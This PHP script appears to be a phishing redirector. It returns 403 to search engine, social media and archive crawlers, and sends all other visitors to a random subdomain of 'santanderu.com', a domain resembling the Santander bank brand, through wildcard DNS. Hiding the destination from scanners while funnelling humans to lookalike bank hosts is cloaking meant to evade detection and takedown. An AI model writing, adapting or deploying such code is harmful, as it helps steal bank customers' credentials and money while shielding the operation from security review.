<?php
// 数据库连接信息
$botList = array(
    'Googlebot',
    'Bingbot',
    'Slurp',
    'DuckDuckBot',
    'Baiduspider',
    'YandexBot',
    'Sogou',
    'Exabot',
    'facebookexternalhit',
    'facebot',
    'ia_archiver'
);

$userAgent = $_SERVER['HTTP_USER_AGENT'];
foreach ($botList as $bot) {
    if (stripos($userAgent, $bot) !== false) {
        // 如果匹配到爬虫的 User-Agent，拒绝访问
        header("HTTP/1.1 403 Forbidden");
        exit("机器人禁止访问");
    }
}

function generateRandomPrefix($length = 10) {
    return substr(str_shuffle("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length);
}

// 自定义域名,泛解析开启ssl,不开启强制https
$domains = [
    "santanderu.com",
    // "域名4",
    // "域名5"
];

$randomPrefix = generateRandomPrefix();
$randomDomain = $domains[array_rand($domains)];

$finalUrl = $randomPrefix . "." . $randomDomain;


// 显示跳转提示页面
echo '<html>
<head>
    <meta http-equiv="refresh" content="1;url=https://' . $finalUrl . '">
    <title>About to jump</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        h1 { color: #333; }
        p { color: #555; }
    </style>
</head>
<body>
    <h1>About to jump to the main site, please wait...</h1>

</body>
</html>';

exit();
?>


<!--echo '<meta http-equiv="refresh" content="0;url=https://' . $finalUrl . '">';-->
<!--exit();-->


?>
